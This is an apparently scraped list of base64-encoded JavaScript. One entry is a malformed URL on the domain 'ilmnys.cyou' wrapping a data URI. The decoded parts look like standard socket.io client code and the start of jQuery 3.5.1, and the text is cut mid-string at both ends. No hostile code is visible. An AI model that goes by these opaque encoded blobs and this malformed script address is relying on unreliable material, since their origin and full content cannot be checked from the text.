lbWl0KCJkaXNjb25uZWN0Iix0KX0sci5wcm90b3R5cGUub25wYWNrZXQ9ZnVuY3Rpb24odCl7aWYodC5uc3A9PT10aGlzLm5zcClzd2l0Y2godC50eXBlKXtjYXNlIGkuQ09OTkVDVDp0aGlzLm9uY29ubmVjdCgpO2JyZWFrO2Nhc2UgaS5FVkVOVDp0aGlzLm9uZXZlbnQodCk7YnJlYWs7Y2FzZSBpLkJJTkFSWV9FVkVOVDp0aGlzLm9uZXZlbnQodCk7YnJlYWs7Y2FzZSBpLkFDSzp0aGlzLm9uYWNrKHQpO2JyZWFrO2Nhc2UgaS5CSU5BUllfQUNLOnRoaXMub25hY2sodCk7YnJlYWs7Y2FzZSBpLkRJU0NPTk5FQ1Q6dGhpcy5vbmRpc2Nvbm5lY3QoKTticmVhaztjYXNlIGkuRVJST1I6dGhpcy5lbWl0KCJlcnJvciIsdC5kYXRhKX19LHIucHJvdG90eXBlLm9uZXZlbnQ9ZnVuY3Rpb24odCl7dmFyIGU9dC5kYXRhfHxbXTt1KCJlbWl0dGluZyBldmVudCAlaiIsZSksbnVsbCE9dC5pZCYmKHUoImF0dGFjaGluZyBhY2sgY2FsbGJhY2sgdG8gZXZlbnQiKSxlLnB1c2godGhpcy5hY2sodC5pZCkpKSx0aGlzLmNvbm5lY3RlZD9sLmFwcGx5KHRoaXMsZSk6dGhpcy5yZWNlaXZlQnVmZmVyLnB1c2goZSl9LHIucHJvdG90eXBlLmFjaz1mdW5jdGlvbih0KXt2YXIgZT10aGlzLG49ITE7cmV0dXJuIGZ1bmN0aW9uKCl7aWYoIW4pe249ITA7dmFyIHI9YShhcmd1bWVudHMpO3UoInNlbmRpbmcgYWNrICVqIixyKSxlLnBhY2tldCh7dHlwZTppLkFDSyxpZDp0LGRhdGE6cn0pfX19LHIucHJvdG90eXBlLm9uYWNrPWZ1bmN0aW9uKHQpe3ZhciBlPXRoaXMuYWNrc1t0LmlkXTsiZnVuY3Rpb24iPT10eXBlb2YgZT8odSgiY2FsbGluZyBhY2sgJXMgd2l0aCAlaiIsdC5pZCx0LmRhdGEpLGUuYXBwbHkodGhpcyx0LmRhdGEpLGRlbGV0ZSB0aGlzLmFja3NbdC5pZF0pOnUoImJhZCBhY2sgJXMiLHQuaWQpfSxyLnByb3RvdHlwZS5vbmNvbm5lY3Q9ZnVuY3Rpb24oKXt0aGlzLmNvbm5lY3RlZD0hMCx0aGlzLmRpc2Nvbm5lY3RlZD0hMSx0aGlzLmVtaXQoImNvbm5lY3QiKSx0aGlzLmVtaXRCdWZmZXJlZCgpfSxyLnByb3RvdHlwZS5lbWl0QnVmZmVyZWQ9ZnVuY3Rpb24oKXt2YXIgdDtmb3IodD0wO3Q8dGhpcy5yZWNlaXZlQnVmZmVyLmxlbmd0aDt0KyspbC5hcHBseSh0aGlzLHRoaXMucmVjZWl2ZUJ1ZmZlclt0XSk7Zm9yKHRoaXMucmVjZWl2ZUJ1ZmZlcj1bXSx0PTA7dDx0aGlzLnNlbmRCdWZmZXIubGVuZ3RoO3QrKyl0aGlzLnBhY2tldCh0aGlzLnNlbmRCdWZmZXJbdF0pO3RoaXMuc2VuZEJ1ZmZlcj1bXX0sci5wcm90b3R5cGUub25kaXNjb25uZWN0PWZ1bmN0aW9uKCl7dSgic2VydmVyIGRpc2Nvbm5lY3QgKCVzKSIsdGhpcy5uc3ApLHRoaXMuZGVzdHJveSgpLHRoaXMub25jbG9zZSgiaW8gc2VydmVyIGRpc2Nvbm5lY3QiKX0sci5wcm90b3R5cGUuZGVzdHJveT1mdW5jdGlvbigpe2lmKHRoaXMuc3Vicyl7Zm9yKHZhciB0PTA7dDx0aGlzLnN1YnMubGVuZ3RoO3QrKyl0aGlzLnN1YnNbdF0uZGVzdHJveSgpO3RoaXMuc3Vicz1udWxsfXRoaXMuaW8uZGVzdHJveSh0aGlzKX0sci5wcm90b3R5cGUuY2xvc2U9ci5wcm90b3R5cGUuZGlzY29ubmVjdD1mdW5jdGlvbigpe3JldHVybiB0aGlzLmNvbm5lY3RlZCYmKHUoInBlcmZvcm1pbmcgZGlzY29ubmVjdCAoJXMpIix0aGlzLm5zcCksdGhpcy5wYWNrZXQoe3R5cGU6aS5ESVNDT05ORUNUfSkpLHRoaXMuZGVzdHJveSgpLHRoaXMuY29ubmVjdGVkJiZ0aGlzLm9uY2xvc2UoImlvIGNsaWVudCBkaXNjb25uZWN0IiksdGhpc30sci5wcm90b3R5cGUuY29tcHJlc3M9ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuZmxhZ3M9dGhpcy5mbGFnc3x8e30sdGhpcy5mbGFncy5jb21wcmVzcz10LHRoaXN9fSxmdW5jdGlvbih0LGUpe2Z1bmN0aW9uIG4odCxlKXt2YXIgbj1bXTtlPWV8fDA7Zm9yKHZhciByPWV8fDA7cjx0Lmxlbmd0aDtyKyspbltyLWVdPXRbcl07cmV0dXJuIG59dC5leHBvcnRzPW59LGZ1bmN0aW9uKHQsZSl7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIG4odCxlLG4pe3JldHVybiB0Lm9uKGUsbikse2Rlc3Ryb3k6ZnVuY3Rpb24oKXt0LnJlbW92ZUxpc3RlbmVyKGUsbil9fX10LmV4cG9ydHM9bn0sZnVuY3Rpb24odCxlKXt2YXIgbj1bXS5zbGljZTt0LmV4cG9ydHM9ZnVuY3Rpb24odCxlKXtpZigic3RyaW5nIj09dHlwZW9mIGUmJihlPXRbZV0pLCJmdW5jdGlvbiIhPXR5cGVvZiBlKXRocm93IG5ldyBFcnJvcigiYmluZCgpIHJlcXVpcmVzIGEgZnVuY3Rpb24iKTt2YXIgcj1uLmNhbGwoYXJndW1lbnRzLDIpO3JldHVybiBmdW5jdGlvbigpe3JldHVybiBlLmFwcGx5KHQsci5jb25jYXQobi5jYWxsKGFyZ3VtZW50cykpKX19fSxmdW5jdGlvbih0LGUpe2Z1bmN0aW9uIG4odCl7dD10fHx7fSx0aGlzLm1zPXQubWlufHwxMDAsdGhpcy5tYXg9dC5tYXh8fDFlNCx0aGlzLmZhY3Rvcj10LmZhY3Rvcnx8Mix0aGlzLmppdHRlcj10LmppdHRlcj4wJiZ0LmppdHRlcjw9MT90LmppdHRlcjowLHRoaXMuYXR0ZW1wdHM9MH10LmV4cG9ydHM9bixuLnByb3RvdHlwZS5kdXJhdGlvbj1mdW5jdGlvbigpe3ZhciB0PXRoaXMubXMqTWF0aC5wb3codGhpcy5mYWN0b3IsdGhpcy5hdHRlbXB0cysrKTtpZih0aGlzLmppdHRlcil7dmFyIGU9TWF0aC5yYW5kb20oKSxuPU1hdGguZmxvb3IoZSp0aGlzLmppdHRlcip0KTt0PTA9PSgxJk1hdGguZmxvb3IoMTAqZSkpP3Qtbjp0K259cmV0dXJuIDB8TWF0aC5taW4odCx0aGlzLm1heCl9LG4ucHJvdG90eXBlLnJlc2V0PWZ1bmN0aW9uKCl7dGhpcy5hdHRlbXB0cz0wfSxuLnByb3RvdHlwZS5zZXRNaW49ZnVuY3Rpb24odCl7dGhpcy5tcz10fSxuLnByb3RvdHlwZS5zZXRNYXg9ZnVuY3Rpb24odCl7dGhpcy5tYXg9dH0sbi5wcm90b3R5cGUuc2V0Sml0dGVyPWZ1bmN0aW9uKHQpe3RoaXMuaml0dGVyPXR9fV0pfSk7DQo=
  2. https://ilmnys.cyou/data:text/javascript;base64,DQohZnVuY3Rpb24oZSx0KXsidXNlIHN0cmljdCI7Im9iamVjdCI9PXR5cGVvZiBtb2R1bGUmJiJvYmplY3QiPT10eXBlb2YgbW9kdWxlLmV4cG9ydHM/bW9kdWxlLmV4cG9ydHM9ZS5kb2N1bWVudD90KGUsITApOmZ1bmN0aW9uKGUpe2lmKCFlLmRvY3VtZW50KXRocm93IG5ldyBFcnJvcigialF1ZXJ5IHJlcXVpcmVzIGEgd2luZG93IHdpdGggYSBkb2N1bWVudCIpO3JldHVybiB0KGUpfTp0KGUpfSgidW5kZWZpbmVkIiE9dHlwZW9mIHdpbmRvdz93aW5kb3c6dGhpcyxmdW5jdGlvbihDLGUpeyJ1c2Ugc3RyaWN0Ijt2YXIgdD1bXSxyPU9iamVjdC5nZXRQcm90b3R5cGVPZixzPXQuc2xpY2UsZz10LmZsYXQ/ZnVuY3Rpb24oZSl7cmV0dXJuIHQuZmxhdC5jYWxsKGUpfTpmdW5jdGlvbihlKXtyZXR1cm4gdC5jb25jYXQuYXBwbHkoW10sZSl9LHU9dC5wdXNoLGk9dC5pbmRleE9mLG49e30sbz1uLnRvU3RyaW5nLHY9bi5oYXNPd25Qcm9wZXJ0eSxhPXYudG9TdHJpbmcsbD1hLmNhbGwoT2JqZWN0KSx5PXt9LG09ZnVuY3Rpb24oZSl7cmV0dXJuImZ1bmN0aW9uIj09dHlwZW9mIGUmJiJudW1iZXIiIT10eXBlb2YgZS5ub2RlVHlwZX0seD1mdW5jdGlvbihlKXtyZXR1cm4gbnVsbCE9ZSYmZT09PWUud2luZG93fSxFPUMuZG9jdW1lbnQsYz17dHlwZTohMCxzcmM6ITAsbm9uY2U6ITAsbm9Nb2R1bGU6ITB9O2Z1bmN0aW9uIGIoZSx0LG4pe3ZhciByLGksbz0obj1ufHxFKS5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTtpZihvLnRleHQ9ZSx0KWZvcihyIGluIGMpKGk9dFtyXXx8dC5nZXRBdHRyaWJ1dGUmJnQuZ2V0QXR0cmlidXRlKHIpKSYmby5zZXRBdHRyaWJ1dGUocixpKTtuLmhlYWQuYXBwZW5kQ2hpbGQobykucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChvKX1mdW5jdGlvbiB3KGUpe3JldHVybiBudWxsPT1lP2UrIiI6Im9iamVjdCI9PXR5cGVvZiBlfHwiZnVuY3Rpb24iPT10eXBlb2YgZT9uW28uY2FsbChlKV18fCJvYmplY3QiOnR5cGVvZiBlfXZhciBmPSIzLjUuMSIsUz1mdW5jdGlvbihlLHQpe3JldHVybiBuZXcgUy5mbi5pbml0KGUsdCl9O2Z1bmN0aW9uIHAoZSl7dmFyIHQ9ISFlJiYibGVuZ3RoImluIGUmJmUubGVuZ3RoLG49dyhlKTtyZXR1cm4hbShlKSYmIXgoZSkmJigiYXJyYXkiPT09bnx8MD09PXR8fCJudW1iZXIiPT10eXBlb2YgdCYmMDx0JiZ0LTEgaW4gZSl9Uy5mbj1TLnByb3RvdHlwZT17anF1ZXJ5OmYsY29uc3RydWN0b3I6UyxsZW5ndGg6MCx0b0FycmF5OmZ1bmN0aW9uKCl7cmV0dXJuIHMuY2FsbCh0aGlzKX0sZ2V0OmZ1bmN0aW9uKGUpe3JldHVybiBudWxsPT1lP3MuY2FsbCh0aGlzKTplPDA/dGhpc1tlK3RoaXMubGVuZ3RoXTp0aGlzW2VdfSxwdXNoU3RhY2s6ZnVuY3Rpb24oZSl7dmFyIHQ9Uy5tZXJnZSh0aGlzLmNvbnN0cnVjdG9yKCksZSk7cmV0dXJuIHQucHJldk9iamVjdD10aGlzLHR9LGVhY2g6ZnVuY3Rpb24oZSl7cmV0dXJuIFMuZWFjaCh0aGlzLGUpfSxtYXA6ZnVuY3Rpb24obil7cmV0dXJuIHRoaXMucHVzaFN0YWNrKFMubWFwKHRoaXMsZnVuY3Rpb24oZSx0KXtyZXR1cm4gbi5jYWxsKGUsdCxlKX0pKX0sc2xpY2U6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2socy5hcHBseSh0aGlzLGFyZ3VtZW50cykpfSxmaXJzdDpmdW5jdGlvbigpe3JldHVybiB0aGlzLmVxKDApfSxsYXN0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZXEoLTEpfSxldmVuOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMucHVzaFN0YWNrKFMuZ3JlcCh0aGlzLGZ1bmN0aW9uKGUsdCl7cmV0dXJuKHQrMSklMn0pKX0sb2RkOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMucHVzaFN0YWNrKFMuZ3JlcCh0aGlzLGZ1bmN0aW9uKGUsdCl7cmV0dXJuIHQlMn0pKX0sZXE6ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5sZW5ndGgsbj0rZSsoZTwwP3Q6MCk7cmV0dXJuIHRoaXMucHVzaFN0YWNrKDA8PW4mJm48dD9bdGhpc1tuXV06W10pfSxlbmQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5wcmV2T2JqZWN0fHx0aGlzLmNvbnN0cnVjdG9yKCl9LHB1c2g6dSxzb3J0OnQuc29ydCxzcGxpY2U6dC5zcGxpY2V9LFMuZXh0ZW5kPVMuZm4uZXh0ZW5kPWZ1bmN0aW9uKCl7dmFyIGUsdCxuLHIsaSxvLGE9YXJndW1lbnRzWzBdfHx7fSxzPTEsdT1hcmd1bWVudHMubGVuZ3RoLGw9ITE7Zm9yKCJib29sZWFuIj09dHlwZW9mIGEmJihsPWEsYT1hcmd1bWVudHNbc118fHt9LHMrKyksIm9iamVjdCI9PXR5cGVvZiBhfHxtKGEpfHwoYT17fSkscz09PXUmJihhPXRoaXMscy0tKTtzPHU7cysrKWlmKG51bGwhPShlPWFyZ3VtZW50c1tzXSkpZm9yKHQgaW4gZSlyPWVbdF0sIl9fcHJvdG9fXyIhPT10JiZhIT09ciYmKGwmJnImJihTLmlzUGxhaW5PYmplY3Qocil8fChpPUFycmF5LmlzQXJyYXkocikpKT8obj1hW3RdLG89aSYmIUFycmF5LmlzQXJyYXkobik/W106aXx8Uy5pc1BsYWluT2JqZWN0KG4pP246e30saT0hMSxhW3RdPVMuZXh0ZW5kKGwsbyxyKSk6dm9pZCAwIT09ciYmKGFbdF09cikpO3JldHVybiBhfSxTLmV4dGVuZCh7ZXhwYW5kbzoialF1ZXJ5IisoZitNYXRoLnJhbmRvbSgpKS5yZXBsYWNlKC9cRC9nLCIiKSxpc1JlYWR5OiEwLGVycm9yOmZ1bmN0aW9uKGUpe3Rocm93IG5ldyBFcnJvcihlKX0sbm9vcDpmdW5jdGlvbigpe30saXNQbGFpbk9iamVjdDpmdW5jdGlvbihlKXt2YXIgdCxuO3JldHVybiEoIWV8fCJbb2JqZWN0IE9iamVjdF0iIT09by5jYWxsKGUpKSYmKCEodD1yKGUpKXx8ImZ1bmN0aW9uIj09dHlwZW9mKG49di5jYWxsKHQsImNvbnN0cnVjdG9yIikmJnQuY29uc3RydWN0b3IpJiZhLmNhbGwobik9PT1sKX0saXNFbXB0eU9iamVjdDpmdW5jdGlvbihlKXt2YXIgdDtmb3IodCBpbiBlKXJldHVybiExO3JldHVybiEwfSxnbG9iYWxFdmFsOmZ1bmN0aW9uKGUsdCxuKXtiKGUse25vbmNlOnQmJnQubm9uY2V9LG4pfSxlYWNoOmZ1bmN0aW9uKGUsdCl7dmFyIG4scj0wO2lmKHAoZSkpe2ZvcihuPWUubGVuZ3RoO3I8bjtyKyspaWYoITE9PT10LmNhbGwoZVtyXSxyLGVbcl0pKWJyZWFrfWVsc2UgZm9yKHIgaW4gZSlpZighMT09PXQuY2FsbChlW3JdLHIsZVtyXSkpYnJlYWs7cmV0dXJuIGV9LG1ha2VBcnJheTpmdW5jdGlvbihlLHQpe3ZhciBuPXR8fFtdO3JldHVybiBudWxsIT1lJiYocChPYmplY3QoZSkpP1MubWVyZ2Uobiwic3RyaW5nIj09dHlwZW9mIGU/W2VdOmUpOnUuY2FsbChuLGUpKSxufSxpbkFycmF5OmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gbnVsbD09dD8tMTppLmNhbGwodCxlLG4pfSxtZXJnZTpmdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0rdC5sZW5ndGgscj0wLGk9ZS5sZW5ndGg7cjxuO3IrKyllW2krK109dFtyXTtyZXR1cm4gZS5sZW5ndGg9aSxlfSxncmVwOmZ1bmN0aW9uKGUsdCxuKXtmb3IodmFyIHI9W10saT0wLG89ZS5sZW5ndGgsYT0hbjtpPG87aSsrKSF0KGVbaV0saSkhPT1hJiZyLnB1c2goZVtpXSk7cmV0dXJuIHJ9LG1hcDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvPTAsYT1bXTtpZihwKGUpKWZvcihyPWUubGVuZ3RoO288cjtvKyspbnVsbCE9KGk9dChlW29dLG8sbikpJiZhLnB1c2goaSk7ZWxzZSBmb3IobyBpbiBlKW51bGwhPShpPXQoZVtvXSxvLG4pKSYmYS5wdXNoKGkpO3JldHVybiBnKGEpfSxndWlkOjEsc3VwcG9ydDp5fSksImZ1bmN0aW9uIj09dHlwZW9mIFN5bWJvbCYmKFMuZm5bU3ltYm9sLml0ZXJhdG9yXT10W1N5bWJvbC5pdGVyYXRvcl0pLFMuZWFjaCgiQm9vbGVhbiBOdW1iZXIgU3RyaW5nIEZ1bmN0aW9uIEFycmF5IERhdGUgUmVnRXhwIE9iamVjdCBFcnJvciBTeW1ib2wiLnNwbGl0KCIgIiksZnVuY3Rpb24oZSx0KXtuWyJbb2JqZWN0ICIrdCsiXSJdPXQudG9Mb3dlckNhc2UoKX0pO3ZhciBkPWZ1bmN0aW9uKG4pe3ZhciBlLGQsYixvLGksaCxmLGcsdyx1LGwsVCxDLGEsRSx2LHMsYyx5LFM9InNpenpsZSIrMSpuZXcgRGF0ZSxwPW4uZG9jdW1lbnQsaz0wLHI9MCxtPXVlKCkseD11ZSgpLEE9dWUoKSxOPXVlKCksRD1mdW5jdGlvbihlLHQpe3JldHVybiBlPT09dCYmKGw9ITApLDB9LGo9e30uaGFzT3duUHJvcGVydHksdD1bXSxxPXQucG9wLEw9dC5wdXNoLEg9dC5wdXNoLE89dC5zbGljZSxQPWZ1bmN0aW9uKGUsdCl7Zm9yKHZhciBuPTAscj1lLmxlbmd0aDtuPHI7bisrKWlmKGVbbl09PT10KXJldHVybiBuO3JldHVybi0xfSxSPSJjaGVja2VkfHNlbGVjdGVkfGFzeW5jfGF1dG9mb2N1c3xhdXRvcGxheXxjb250cm9sc3xkZWZlcnxkaXNhYmxlZHxoaWRkZW58aXNtYXB8bG9vcHxtdWx0aXBsZXxvcGVufHJlYWRvbmx5fHJlcXVpcmVkfHNjb3BlZCIsTT0iW1xceDIwXFx0XFxyXFxuXFxmXSIsST0iKD86XFxcXFtcXGRhLWZBLUZdezEsNn0iK00rIj98XFxcXFteXFxyXFxuXFxmXXxbXFx3LV18W15cMC1cXHg3Zl0pKyIsVz0iXFxbIitNKyIqKCIrSSsiKSg/OiIrTSsiKihbKl4kfCF+XT89KSIrTSsiKig/OicoKD86XFxcXC58W15cXFxcJ10pKiknfFwiKCg/OlxcXFwufFteXFxcXFwiXSkqKVwifCgiK0krIikpfCkiK00rIipcXF0iLEY9IjooIitJKyIpKD86XFwoKCgnKCg/OlxcXFwufFteXFxcXCddKSopJ3xcIigoPzpcXFxcLnxbXlxcXFxcIl0pKilcIil8KCg/OlxcXFwufFteXFxcXCgpW1xcXV18IitXKyIpKil8LiopXFwpfCkiLEI9bmV3IFJlZ0V4cChNKyIrIiwiZyIpLCQ9bmV3IFJlZ0V4cCgiXiIrTSsiK3woKD86XnxbXlxcXFxdKSg/OlxcXFwuKSopIitNKyIrJCIsImciKSxfPW5ldyBSZWdFeHAoIl4iK00rIiosIitNKyIqIiksej1uZXcgUmVnRXhwKCJeIitNKyIqKFs+K35dfCIrTSsiKSIrTSsiKiIpLFU9bmV3IFJlZ0V4cChNKyJ8PiIpLFg9bmV3IFJlZ0V4cChGKSxWPW5ldyBSZWdFeHAoIl4iK0krIiQiKSxHPXtJRDpuZXcgUmVnRXhwKCJeIygiK0krIikiKSxDTEFTUzpuZXcgUmVnRXhwKCJeXFwuKCIrSSsiKSIpLFRBRzpuZXcgUmVnRXhwKCJeKCIrSSsifFsqXSkiKSxBVFRSOm5ldyBSZWdFeHAoIl4iK1cpLFBTRVVETzpuZXcgUmVnRXhwKCJeIitGKSxDSElMRDpuZXcgUmVnRXhwKCJeOihvbmx5fGZpcnN0fGxhc3R8bnRofG50aC1sYXN0KS0oY2hpbGR8b2YtdHlwZSkoPzpcXCgiK00rIiooZXZlbnxvZGR8KChbKy1dfCkoXFxkKilufCkiK00rIiooPzooWystXXwpIitNKyIqKFxcZCspfCkpIitNKyIqXFwpfCkiLCJpIiksYm9vbDpuZXcgUmVnRXhwKCJeKD86IitSKyIpJCIsImkiKSxuZWVkc0NvbnRleHQ6bmV3IFJlZ0V4cCgiXiIrTSsiKls+K35dfDooZXZlbnxvZGR8ZXF8Z3R8bHR8bnRofGZpcnN0fGxhc3QpKD86XFwoIitNKyIqKCg/Oi1cXGQpP1xcZCopIitNKyIqXFwpfCkoPz1bXi1dfCQpIiwiaSIpfSxZPS9IVE1MJC9pLFE9L14oPzppbnB1dHxzZWxlY3R8dGV4dGFyZWF8YnV0dG9uKSQvaSxKPS9eaFxkJC9pLEs9L15bXntdK1x7XHMqXFtuYXRpdmUgXHcvLFo9L14oPzojKFtcdy1dKyl8KFx3Kyl8XC4oW1x3LV0rKSkkLyxlZT0vWyt+XS8sdGU9bmV3IFJlZ0V4cCgiXFxcXFtcXGRhLWZBLUZdezEsNn0iK00rIj98XFxcXChbXlxcclxcblxcZl0pIiwiZyIpLG5lPWZ1bmN0aW9uKGUsdCl7dmFyIG49IjB4IitlLnNsaWNlKDEpLTY1NTM2O3JldHVybiB0fHwobjwwP1N0cmluZy5mcm9tQ2hhckNvZGUobis2NTUzNik6U3RyaW5nLmZyb21DaGFyQ29kZShuPj4xMHw1NTI5NiwxMDIzJm58NTYzMjApKX0scmU9LyhbXDAtXHgxZlx4N2ZdfF4tP1xkKXxeLSR8W15cMC1ceDFmXHg3Zi1cdUZGRkZcdy1dL2csaWU9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdD8iXDAiPT09ZT8iXHVmZmZkIjplLnNsaWNlKDAsLTEpKyJcXCIrZS5jaGFyQ29kZUF0KGUubGVuZ3RoLTEpLnRvU3RyaW5nKDE2KSsiICI6IlxcIitlfSxvZT1mdW5jdGlvbigpe1QoKX0sYWU9YmUoZnVuY3Rpb24oZSl7cmV0dXJuITA9PT1lLmRpc2FibGVkJiYiZmllbGRzZXQiPT09ZS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpfSx7ZGlyOiJwYXJlbnROb2RlIixuZXh0OiJsZWdlbmQifSk7dHJ5e0guYXBwbHkodD1PLmNhbGwocC5jaGlsZE5vZGVzKSxwLmNoaWxkTm9kZXMpLHRbcC5jaGlsZE5vZGVzLmxlbmd0aF0ubm9kZVR5cGV9Y2F0Y2goZSl7SD17YXBwbHk6dC5sZW5ndGg/ZnVuY3Rpb24oZSx0KXtMLmFwcGx5KGUsTy5jYWxsKHQpKX06ZnVuY3Rpb24oZSx0KXt2YXIgbj1lLmxlbmd0aCxyPTA7d2hpbGUoZVtuKytdPXRbcisrXSk7ZS5sZW5ndGg9bi0xfX19ZnVuY3Rpb24gc2UodCxlLG4scil7dmFyIGksbyxhLHMsdSxsLGMsZj1lJiZlLm93bmVyRG9jdW1lbnQscD1lP2Uubm9kZVR5cGU6OTtpZihuPW58fFtdLCJzdHJpbmciIT10eXBlb2YgdHx8IXR8fDEhPT1wJiY5IT09cCYmMTEhPT1wKXJldHVybiBuO2lmKCFyJiYoVChlKSxlPWV8fEMsRSkpe2lmKDExIT09cCYmKHU9Wi5leGVjKHQpKSlpZihpPXVbMV0pe2lmKDk9PT1wKXtpZighKGE9ZS5nZXRFbGVtZW50QnlJZChpKSkpcmV0dXJuIG47aWYoYS5pZD09PWkpcmV0dXJuIG4ucHVzaChhKSxufWVsc2UgaWYoZiYmKGE9Zi5nZXRFbGVtZW50QnlJZChpKSkmJnkoZSxhKSYmYS5pZD09PWkpcmV0dXJuIG4ucHVzaChhKSxufWVsc2V7aWYodVsyXSlyZXR1cm4gSC5hcHBseShuLGUuZ2V0RWxlbWVudHNCeVRhZ05hbWUodCkpLG47aWYoKGk9dVszXSkmJmQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSYmZS5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKXJldHVybiBILmFwcGx5KG4sZS5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKGkpKSxufWlmKGQucXNhJiYhTlt0KyIgIl0mJighdnx8IXYudGVzdCh0KSkmJigxIT09cHx8Im9iamVjdCIhPT1lLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkpKXtpZihjPXQsZj1lLDE9PT1wJiYoVS50ZXN0KHQpfHx6LnRlc3QodCkpKXsoZj1lZS50ZXN0KHQpJiZ5ZShlLnBhcmVudE5vZGUpfHxlKT09PWUmJmQuc2NvcGV8fCgocz1lLmdldEF0dHJpYnV0ZSgiaWQiKSk/cz1zLnJlcGxhY2UocmUsaWUpOmUuc2V0QXR0cmlidXRlKCJpZCIscz1TKSksbz0obD1oKHQpKS5sZW5ndGg7d2hpbGUoby0tKWxbb109KHM/IiMiK3M6IjpzY29wZSIpKyIgIit4ZShsW29dKTtjPWwuam9pbigiLCIpfXRyeXtyZXR1cm4gSC5hcHBseShuLGYucXVlcnlTZWxlY3RvckFsbChjKSksbn1jYXRjaChlKXtOKHQsITApfWZpbmFsbHl7cz09PVMmJmUucmVtb3ZlQXR0cmlidXRlKCJpZCIpfX19cmV0dXJuIGcodC5yZXBsYWNlKCQsIiQxIiksZSxuLHIpfWZ1bmN0aW9uIHVlKCl7dmFyIHI9W107cmV0dXJuIGZ1bmN0aW9uIGUodCxuKXtyZXR1cm4gci5wdXNoKHQrIiAiKT5iLmNhY2hlTGVuZ3RoJiZkZWxldGUgZVtyLnNoaWZ0KCldLGVbdCsiICJdPW59fWZ1bmN0aW9uIGxlKGUpe3JldHVybiBlW1NdPSEwLGV9ZnVuY3Rpb24gY2UoZSl7dmFyIHQ9Qy5jcmVhdGVFbGVtZW50KCJmaWVsZHNldCIpO3RyeXtyZXR1cm4hIWUodCl9Y2F0Y2goZSl7cmV0dXJuITF9ZmluYWxseXt0LnBhcmVudE5vZGUmJnQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZCh0KSx0PW51bGx9fWZ1bmN0aW9uIGZlKGUsdCl7dmFyIG49ZS5zcGxpdCgifCIpLHI9bi5sZW5ndGg7d2hpbGUoci0tKWIuYXR0ckhhbmRsZVtuW3JdXT10fWZ1bmN0aW9uIHBlKGUsdCl7dmFyIG49dCYmZSxyPW4mJjE9PT1lLm5vZGVUeXBlJiYxPT09dC5ub2RlVHlwZSYmZS5zb3VyY2VJbmRleC10LnNvdXJjZUluZGV4O2lmKHIpcmV0dXJuIHI7aWYobil3aGlsZShuPW4ubmV4dFNpYmxpbmcpaWYobj09PXQpcmV0dXJuLTE7cmV0dXJuIGU/MTotMX1mdW5jdGlvbiBkZSh0KXtyZXR1cm4gZnVuY3Rpb24oZSl7cmV0dXJuImlucHV0Ij09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSYmZS50eXBlPT09dH19ZnVuY3Rpb24gaGUobil7cmV0dXJuIGZ1bmN0aW9uKGUpe3ZhciB0PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKTtyZXR1cm4oImlucHV0Ij09PXR8fCJidXR0b24iPT09dCkmJmUudHlwZT09PW59fWZ1bmN0aW9uIGdlKHQpe3JldHVybiBmdW5jdGlvbihlKXtyZXR1cm4iZm9ybSJpbiBlP2UucGFyZW50Tm9kZSYmITE9PT1lLmRpc2FibGVkPyJsYWJlbCJpbiBlPyJsYWJlbCJpbiBlLnBhcmVudE5vZGU/ZS5wYXJlbnROb2RlLmRpc2FibGVkPT09dDplLmRpc2FibGVkPT09dDplLmlzRGlzYWJsZWQ9PT10fHxlLmlzRGlzYWJsZWQhPT0hdCYmYWUoZSk9PT10OmUuZGlzYWJsZWQ9PT10OiJsYWJlbCJpbiBlJiZlLmRpc2FibGVkPT09dH19ZnVuY3Rpb24gdmUoYSl7cmV0dXJuIGxlKGZ1bmN0aW9uKG8pe3JldHVybiBvPStvLGxlKGZ1bmN0aW9uKGUsdCl7dmFyIG4scj1hKFtdLGUubGVuZ3RoLG8pLGk9ci5sZW5ndGg7d2hpbGUoaS0tKWVbbj1yW2ldXSYmKGVbbl09ISh0W25dPWVbbl0pKX0pfSl9ZnVuY3Rpb24geWUoZSl7cmV0dXJuIGUmJiJ1bmRlZmluZWQiIT10eXBlb2YgZS5nZXRFbGVtZW50c0J5VGFnTmFtZSYmZX1mb3IoZSBpbiBkPXNlLnN1cHBvcnQ9e30saT1zZS5pc1hNTD1mdW5jdGlvbihlKXt2YXIgdD1lLm5hbWVzcGFjZVVSSSxuPShlLm93bmVyRG9jdW1lbnR8fGUpLmRvY3VtZW50RWxlbWVudDtyZXR1cm4hWS50ZXN0KHR8fG4mJm4ubm9kZU5hbWV8fCJIVE1MIil9LFQ9c2Uuc2V0RG9jdW1lbnQ9ZnVuY3Rpb24oZSl7dmFyIHQsbixyPWU/ZS5vd25lckRvY3VtZW50fHxlOnA7cmV0dXJuIHIhPUMmJjk9PT1yLm5vZGVUeXBlJiZyLmRvY3VtZW50RWxlbWVudCYmKGE9KEM9cikuZG9jdW1lbnRFbGVtZW50LEU9IWkoQykscCE9QyYmKG49Qy5kZWZhdWx0VmlldykmJm4udG9wIT09biYmKG4uYWRkRXZlbnRMaXN0ZW5lcj9uLmFkZEV2ZW50TGlzdGVuZXIoInVubG9hZCIsb2UsITEpOm4uYXR0YWNoRXZlbnQmJm4uYXR0YWNoRXZlbnQoIm9udW5sb2FkIixvZSkpLGQuc2NvcGU9Y2UoZnVuY3Rpb24oZSl7cmV0dXJuIGEuYXBwZW5kQ2hpbGQoZSkuYXBwZW5kQ2hpbGQoQy5jcmVhdGVFbGVtZW50KCJkaXYiKSksInVuZGVmaW